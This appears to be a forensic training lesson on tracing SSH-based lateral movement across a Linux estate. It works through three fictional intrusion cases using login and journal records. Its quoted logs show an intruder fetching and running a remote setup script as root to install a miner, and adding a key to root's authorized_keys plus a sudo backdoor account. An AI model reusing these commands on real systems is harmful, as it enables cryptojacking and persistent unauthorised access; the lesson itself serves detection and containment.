Reading width
Wide uses the full column for everything, text, diagrams, code, and exercises. Narrow keeps the standard reading width.
Text size
Scales the body text. Headings and code blocks keep their size.
In this section
Linux Lateral Movement Investigation: SSH Trust, Credential Reuse and Pivots Across an Estate
Introduction
A Linux estate is a graph. Each server trusts some others: an administrator's key is accepted on twenty servers, a service account's password works on three, a jump box can reach every database, a configuration management server can run commands everywhere. An intruder on one server inherits whatever trust that server and its accounts hold, and lateral movement is the use of that trust.
Most of the graph is written down before any intrusion, in key files, configuration and account lists, and every step across it leaves records on both ends. This lesson reads those records in three cases: an attempt that mostly failed, two servers entered from a VPN address, and a pivot from a Windows jump box to a database server.
The trust graph: what lets an intruder go from one server to the next, and where each step is written.
The figure is what Module 7 maps. Its last line is the one this lesson leans on: the server a step leaves from records the attempt, and the server it arrives at records the login, so an investigator with both sides can tell a working edge from a failed one.
The Source Side
Outbound attempts from the compromised web serverOn SRV-NGE-MCR-WEB01 from lessons 0.1 to 0.6, the intruder's last commands as root were two SSH connections to other internal servers. Three records describe them:
history 02:44:11 root ssh deploy@10.1.20.11
history 02:44:33 root ssh deploy@10.1.20.12
auth 02:44:11 Connection to 10.1.20.11 port 22: Connection established
auth 02:44:33 ssh: connect to host 10.1.20.12 port 22: Connection refused
socket 15:00:00 ssh 24622 10.1.30.10:52334 -> 10.1.20.11:22 CLOSE_WAIT
Root's history shows ssh deploy@10.1.20.11 at 02:44:11 and ssh deploy@10.1.20.12 at 02:44:33.
The authentication log on WEB01 recorded the first as an established outbound connection and the second as refused, so the second host turned the connection away before any authentication. And the socket table at 15:00 still had the ssh client from the first, in CLOSE_WAIT, meaning the far side had closed its end and the client had never closed its own.
So the source side says the intruder tried two servers as deploy, reached one and was turned away from the other. The three records agree on the times to the second, which is as strong as source-side evidence gets. It does not say whether the reached server let them in, and the honest finding from this side alone is an attempt, not an access.
A connection is not a login: sshd on 10.1.20.11 might have refused the key, or the password, or have had no deploy account at all. The case's own conclusion is that the movement failed, and that rests on records from the far side that this collection does not hold.
That gap is Module 7's first lesson in miniature.
The graph is written down, in this case in deploy's key files across the estate, and an intruder holding deploy's planted key could use it wherever that key is trusted. Which servers trust it is a question about configuration on every server, and answering it before the intruder does is what lets an investigation say where they could have gone, not only where they tried.
The account choice is also telling. The intruder had root on WEB01 and still connected out as deploy, which suggests deploy was the account the intruder expected other servers to know. Lateral movement uses the accounts that are trusted across the estate, which are usually service and deployment accounts rather than root.
The timing places the attempts in the session. They came at 02:44, after the persistence was installed and the scan of the internal network had run, and a minute before the history was cleared. That order, entry, escalation, persistence, reconnaissance, movement, cleanup, is common enough that Module 7 uses it to predict where in a session the movement records should be, and to notice when they are missing.
The Arriving Side
Two servers entered from a VPN addressINC-NE-2026-1602 is a larger intrusion: an IT administrator's VPN account used from abroad, Windows workstations and a domain controller reached first, and then two Linux servers. Every SSH login the case recorded on those two servers:
03-24 09:00:00 SRV-NGE-WEB01 webadmin publickey from 10.1.10.5
03-25 09:00:00 SRV-NGE-WEB01 webadmin publickey from 10.1.10.5
03-26 09:00:00 SRV-NGE-WEB01 webadmin publickey from 10.1.10.5
03-27 02:25:00 SRV-NGE-WEB01 deploy password from 10.10.200.88
03-27 02:25:30 SRV-NGE-BUILD01 builduser password from 10.10.200.88
03-27 09:00:00 SRV-NGE-WEB01 webadmin publickey from 10.1.10.5
03-28 09:00:00 SRV-NGE-WEB01 webadmin publickey from 10.1.10.5
03-29 09:00:00 SRV-NGE-WEB01 webadmin publickey from 10.1.10.5
The routine is plain: webadmin logs in to SRV-NGE-WEB01 by key from 10.1.10.5 at nine every morning, 6 times in the records. Against that, at 02:25 on 27 March, two logins from 10.10.200.88, an address in the VPN pool: deploy on SRV-NGE-WEB01 and builduser on SRV-NGE-BUILD01, 30 seconds apart, both by password.
Three things make these two lateral movement rather than ordinary use. The method is password where the routine is key. The source is a VPN address at two in the morning. And two different accounts on two different servers logged in from one address within half a minute, which only makes sense if one operator held credentials for both and used them together.
The accounts matter too. Neither deploy nor builduser is the administrator whose VPN account was used; they are service accounts on the two servers.
The intruder arrived with an administrator's VPN access and then used passwords for other accounts that worked on these servers. It is possible the passwords were simply the same as passwords the intruder already had; shared and reused credentials are the most common edge in any estate.
Where those passwords came from is a question for the Windows side of the case, where the intruder had already reached a domain controller, and Module 7's lesson on how it arrived here is about following that question across platforms.
The arriving side also confirms what the source side could not. Each of these records is a login that succeeded, not an attempt, and it names the account and the method. That is why Module 7 treats the arriving side as the evidence of an edge used, and the source side as evidence of an edge tried.
The records also say how far the routine can be trusted as a baseline. webadmin's key logins arrive at nine on the dot every day, which looks more like a scheduled job than a person.
Either way, it is the pattern every other login on that server is read against, and the more regular a routine is, the more clearly an exception stands out against it. Module 7's first lessons build that baseline for every account on every server before reading any single login.
What Each Server Was For
A miner on one, a way back in on the otherWhat happened on each server after those logins is in the journal:
02:30:00 WEB01 deploy as root: /usr/bin/curl -sL https://xmr-pool.workers.dev/set
02:30:15 WEB01 deploy as root: /bin/bash /tmp/setup.sh
02:30:30 WEB01 Created symlink /etc/systemd/system/multi-user.target.wants/system
02:30:35 WEB01 Started System Performance Monitor
02:35:00 BUILD01 builduser as root: /usr/bin/tee -a /root/.ssh/authorized_keys
02:35:10 BUILD01 builduser as root: /usr/sbin/useradd -m -s /bin/bash -G sudo suppo
On WEB01, five minutes after the login, deploy used sudo to download a setup script and run it as root, and fifteen seconds later systemd recorded a new service, system-monitor.service, linked to start at boot.
The process list at collection had /usr/local/bin/.system-monitor running as PID 8100 at 94.7 percent CPU, with mining-pool arguments on its command line. Two days later the server's own monitoring agent logged that the service had been using seven cores for forty-eight hours.
On BUILD01, builduser used sudo to append to root's authorized_keys and to create an account, support-agent, in the sudo group. Nothing ran there; the server was given two ways back in. The new account's history file was written at 02:35:15 with a size of zero, which is consistent with a shell started as that account whose commands were not kept.
The two servers were used for different things, and that difference is a finding. The web server was a resource to consume, and the miner announced itself within two days. The build server was a foothold to keep, and nothing on it would have raised an alert.
Build servers hold source code, signing keys and credentials for deployment everywhere else, so a quiet foothold there reaches further than any miner. A finding that stopped at the miner, because it was the thing that raised the alert, would have missed the more serious half of the intrusion.
Notice also how little the build server's own records would have shown without the journal. No process was left running, no file was dropped beyond a key line and a home directory, and the account was added to a group that already existed.
Only the sudo lines in the journal named what was done. On a server that did not keep the journal on disk, a reboot would have left an unexplained account and an extra key.
Module 7's lesson on one host becoming the fleet is about exactly that: a server whose normal job is to reach every other server is the most valuable node in the graph, and an intruder who keeps a way into it keeps a way into everything it deploys to.
A Pivot From Windows
What the Linux side can and cannot seeINC-NE-2026-1501 crosses platforms: an HR workstation, then an administrator's jump box, then a Linux database server. On SRV-NGE-DB01, dbadmin's logins around the day in question:
03-25 09:00 auth_success dbadmin publickey from 10.1.10.15
03-26 09:00 auth_success dbadmin publickey from 10.1.10.15
03-26 10:15 auth_success dbadmin password from 10.1.10.15
03-27 09:00 auth_success dbadmin publickey from 10.1.10.15
dbadmin logs in by key from 10.1.10.15 at nine every morning. On 26 March it also logged in by password, from the same address, at 10:15. Lesson 0.3 followed what came next on this server: a pg_dump of the CRM database and an scp of the export.
From the Linux side, the source address is the same as always. The only signal is the method. That is what makes a pivot through a trusted machine hard to see: the address the database server trusts is the jump box, and the jump box was the intruder's at the time.
The Linux records cannot say who was at the keyboard, only which machine connected and how it authenticated. That is true of every login in this lesson, and it is why a lateral finding names accounts and machines rather than people until other evidence joins them.
Linking the address to the machine, and the machine to the intrusion, takes the other platform's records: the case's brief describes an anomalous remote desktop session from the HR workstation to the jump box on the same day, which its Windows logs cover.
Module 7's lesson on how it arrived here is about joining the two sides, because an investigation that stops at the Linux server's door knows only that a trusted address used an unusual method.
There is also a lesson about defense in this record. The database server accepted a password for an account that normally uses a key. Had password authentication been disabled for dbadmin, the pivot would have needed the key, which the intruder may not have had. Module 7's lesson on cutting the graph starts with exactly these decisions.
The pattern also teaches the limit of address-based rules. A rule that allows the database server to be reached only from the jump box is a good rule, and it held: the pivot came from the jump box. The intruder simply went through the machine the rule trusted. Controls on the path matter, but so do controls on the credential, and the strongest estates have both.
Credentials Are the Edges
Reading the graph the cases usedPut the cases together and the edges they used are few:
The edges these cases used
Credentials are edgesEvery one is a credential. A planted key, a password for a service account, a password for an administrator account used from the machine it is normally used from. None of the movement in these cases needed an exploit, because the estate already trusted the credentials the intruders held.
That is the normal case. Exploits for lateral movement exist, but an intruder with working credentials rarely needs them, and credentials leave records that look like an ordinary working day.
That is why Module 7 begins with the graph rather than with the intrusion. Before asking where an intruder went, it asks where each credential they could have held is accepted: which servers trust which keys, which accounts share passwords, which jump boxes reach which databases.
The answer bounds the investigation. A server that trusts none of the compromised credentials is unlikely to have been reached; a server that trusts all of them has to be examined even if no record yet shows a login.
It is also why containment of lateral movement is credential work. Removing the miner from WEB01 does nothing about the passwords for deploy and builduser, the key in root's authorized_keys on BUILD01, or the support-agent account. Cutting the graph means rotating every credential the intruder could have held, removing every key they could have planted, and only then cleaning the servers.
The method field turned out to be the single most useful field on the arriving side. In both cases that recorded it, the routine used keys and the intrusion used passwords. That will not be true everywhere, but it is common enough that a list of password logins to servers that normally see keys is one of the first queries Module 7 runs on any estate.
The edges these cases did not use are as important as the ones they did. Every server that trusted deploy's planted key, every server where builduser's password works, every host the jump box can reach is an edge the intruder had and may have used without leaving a record this collection holds. Module 7's lesson on reach in two hops is about listing those before deciding the scope is small.
What Module 7 Builds On It
Lateral movement across Linux estatesModule 7 walks the trust graph: it shows that the graph is written down, collects it, and decides which edges were used. It then covers the keyless pivot, one host becoming the fleet, services that are edges, reach in two hops, how an intruder arrived, and cutting the graph, before a workflow.
What Module 7 builds
Module 7The cases here map onto its first half. The source side on WEB01 is the lesson on which edges were used. The two VPN logins are the arriving side of the same lesson. The build server is one host becoming the fleet, and the jump box pivot is how it arrived here. The credential card is cutting the graph.
The habits to carry into it are the ones this lesson used. Read both ends of every step, and say which end a finding rests on when only one is available. Treat a connection as an attempt and a login as an edge used.
Compare each login with the account's routine, method first, then source, then time of day. Ask what each server was used for after the login, because the quiet one is often the more serious. And treat containment as rotating credentials, not only cleaning hosts.
The module's order reflects how a lateral investigation runs in practice. It starts by collecting the graph, because the scope of every later question depends on it, then confirms which edges were used, then follows the harder cases, and ends with the decision about what to cut.
Each lesson works on records from every host in the lab estate at once, because lateral movement is the one subject in this course that cannot be investigated one host at a time.
Module 7 also reaches past SSH. Configuration management tools, deployment pipelines and shared storage are edges too, and on many estates they reach more servers than any key. The module's lesson on services that are edges covers where those tools record what they did.
Module 7's labs are small estates of several hosts with keys and accounts deliberately shared, so that the graph can be collected, walked and cut on systems where every edge is known.
Practice
Decide which logins were movement prepared evidenceThe prepared evidence below is every SSH login on three servers from two cases. Decide which were lateral movement, what the two at 02:25 say about the operator, and whether a login from a trusted address can be trusted. Each answer comes with its reasoning, so check it against the rows rather than only the choice.
Read the Method column first. In these records the routine is keys; anything else is worth a second look. Then read the time and the source together against each account's usual pattern.
Finally, look for logins that come close together from one source to different hosts or accounts. Two logins within a minute from one address, for two different accounts, is the shape of one operator working through a list, and it is visible only when the records from several servers are read side by side.
That is the main reason Module 11 argues for collecting authentication logs centrally: no single server's log shows the pattern.
Then, on a lab estate of two hosts, log in from one to the other by key and by password, and read the authentication log on both.
Add a third host and repeat from the second, and see how quickly two hops become hard to follow from any single log. Note what the source host recorded and what the destination recorded, and which fields would let you tell the two methods apart.
Lateral movement uses trust the estate already has. On the web server the source side recorded two attempts as deploy; in the second case two servers were entered with passwords for two accounts from one VPN address within thirty seconds, one used for mining and one kept as a foothold; in the third a database server accepted a password from its own trusted jump box.
Every edge was a credential, and every one of them was already trusted before the intruder arrived. The work of Module 7 is finding those edges first.
The next lesson moves into a host that contains other hosts: the containers running on a Linux node, and what the node records about them.